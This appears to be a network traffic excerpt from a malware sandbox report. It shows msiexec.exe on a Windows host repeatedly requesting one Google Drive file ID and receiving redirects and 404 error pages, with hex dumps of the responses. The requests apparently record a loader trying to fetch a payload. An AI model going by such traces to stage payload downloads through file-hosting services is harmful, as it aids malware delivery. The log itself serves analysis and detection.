2025-02-19 19:38:02 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	50025	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:03 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:04 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:03 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-1wqwGvzQxkIcYkSWVJFJJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	50026	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:04 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:05 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGhEKN5xaFKAh6hY-e21LzxqFJ1EHVWuaIlXUoOcAVvDUKY93N-uDIZhHvk4D02IeDTU4pNPJ4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:05 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-ejnv5Ciq9KIO39sQlQ2-vw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:05 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 6c 55 71 5f 63 52 62 56 2d 32 46 51 6c 4d 5a 6f 48 39 77 35 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3lUq_cRbV-2FQlMZoH9w5w">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:05 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	50027	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:06 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:06 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:06 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-QJ_r3eTZ5FyVZ0BmRPM9UQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	50028	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:07 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:07 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEw_7Z3IDyMR7haD5cxRekPtYK2RA2SEeMTcozabTTbGCDoXRNpIC_gwLINMTLxx1ZR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:07 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce--JqcTGoM5OIF_eVCBAc-aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:07 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 6d 33 7a 48 6e 44 69 79 41 64 48 41 64 41 59 52 65 55 41 42 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="4m3zHnDiyAdHAdAYReUABA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:07 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	50029	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:08 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:08 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:08 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-iFRvnXVBlDiRnnl2FtxWDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.11	50030	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:09 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:09 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iEMNN259EAFZTES3dJUxpN_Ac7dmPcVbBNLnIvlvk8aSs0la8gMdlYzugQp3-FB-YoE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:09 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-PDg2zKDRhyctCvNUj52jgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:09 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 48 35 58 4b 58 41 70 6a 35 47 41 55 6b 71 45 5f 4a 78 63 77 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="6H5XKXApj5GAUkqE_JxcwA">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:38:09 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.11	50031	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:10 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:10 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:10 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-ebvc-1vXPHNToyuNOwmVQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.11	50032	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:38:11 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:38:12 UTC	1533	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHGMXWo1ZaMvM8p_GRsc_0KpPuPVbjCKP2HxfIyUVBtC97R_AVWvpzhjEBv5MH4ciE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:38:11 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-uO-iMC5DV7RTUy_g5AC6gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:38:12 UTC	1533	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 37 5a 61 65 4b 56 44 4c 46 65 63 41 48 43 45 59 78 72 54 5a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="S7ZaeKVDLFecAHCEYxrTZA">*{margin:0;padding:0}html,code{font:15px/22px arial
